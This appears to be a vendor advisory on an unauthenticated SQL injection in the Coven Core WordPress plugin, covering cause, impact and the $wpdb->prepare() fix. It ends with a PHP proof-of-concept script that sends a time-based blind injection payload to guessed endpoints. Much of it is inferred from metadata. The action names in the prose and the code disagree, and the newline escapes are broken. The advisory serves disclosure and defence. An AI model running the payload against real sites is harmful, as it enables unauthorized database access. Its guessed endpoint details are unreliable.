Atomic Edge analysis of CVE-2025-69295 (metadata-based):
The Coven Core WordPress plugin, version 1.3 and earlier, contains an unauthenticated SQL injection vulnerability. This flaw exists due to insufficient input sanitization and a lack of prepared statements in a database query. Attackers can exploit this to extract sensitive information from the site’s database without requiring any authentication.
Atomic Edge research identifies the root cause as improper neutralization of special elements in an SQL command (CWE-89). The vulnerability description confirms insufficient escaping on a user-supplied parameter and a lack of sufficient preparation on an existing SQL query. Without access to the source code, we infer the vulnerable code likely uses the WordPress `$wpdb` class to execute a raw SQL query that directly concatenates user input. The plugin fails to use `$wpdb->prepare()` or proper escaping functions like `esc_sql()`.
Exploitation likely occurs via a public-facing WordPress hook. Common vectors for unauthenticated SQL injection in plugins are AJAX endpoints registered with `wp_ajax_nopriv_` or REST API endpoints. An attacker would send a crafted HTTP request containing SQL injection payloads, such as a UNION SELECT, in a specific parameter. For example, a request to `/wp-admin/admin-ajax.php` with an `action` parameter of `coven_core_action` and a malicious `id` parameter could trigger the flaw.
Effective remediation requires implementing parameterized queries using WordPress’s `$wpdb->prepare()` method. The developer must replace any direct variable interpolation within SQL statements with placeholder syntax. Input validation, such as ensuring numeric parameters are cast to integers, would provide an additional layer of security. These changes ensure user input is treated as data, not executable SQL code.
Successful exploitation grants an unauthenticated attacker the ability to read sensitive data from the WordPress database. This includes user credentials (hashed passwords), personal information, and other confidential content stored in plugin-specific tables. The CVSS vector indicates a high impact on confidentiality (C:H) with no direct impact on integrity or availability, aligning with a classic information disclosure SQL injection.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69295 - Coven Core <= 1.3 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-69295.
* This script attempts to exploit a suspected unauthenticated SQL injection in the Coven Core plugin.
* The exact endpoint and parameter are inferred from common WordPress plugin patterns.
* Two common attack vectors are tested: a nopriv AJAX handler and a direct PHP file.
*/
$target_url = 'http://target-site.com'; // CHANGE THIS
// Common inferred endpoint patterns for WordPress plugin SQLi
$endpoints_to_test = [
'ajax' => '/wp-admin/admin-ajax.php',
'direct' => '/wp-content/plugins/coven-core/ajax-handler.php' // Example inferred file
];
// Inferred parameter names based on common patterns
$param_name = 'id';
// A simple time-based blind SQL injection payload to test for vulnerability.
// This payload attempts to trigger a delay if injection is possible.
$payload = "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- ";
foreach ($endpoints_to_test as $type => $endpoint) {
$full_url = $target_url . $endpoint;
echo "[*] Testing $type endpoint: $full_urln";
$ch = curl_init();
$post_data = [];
if ($type === 'ajax') {
// For AJAX, we need an 'action' parameter. We infer a possible action name.
$post_data['action'] = 'coven_core_get_data';
$post_data[$param_name] = $payload;
} else {
// For a direct file, we just send the malicious parameter.
$post_data[$param_name] = $payload;
}
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Set a timeout longer than the sleep payload
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo " HTTP Code: $http_coden";
echo " Response Time: " . round($elapsed, 2) . " secondsn";
// If the request took significantly longer than the payload's sleep time, it may be vulnerable.
if ($elapsed > 4.5) {
echo " [POTENTIALLY VULNERABLE] Detected a time delay consistent with SQL injection.n";
}
echo "n";
}
?>
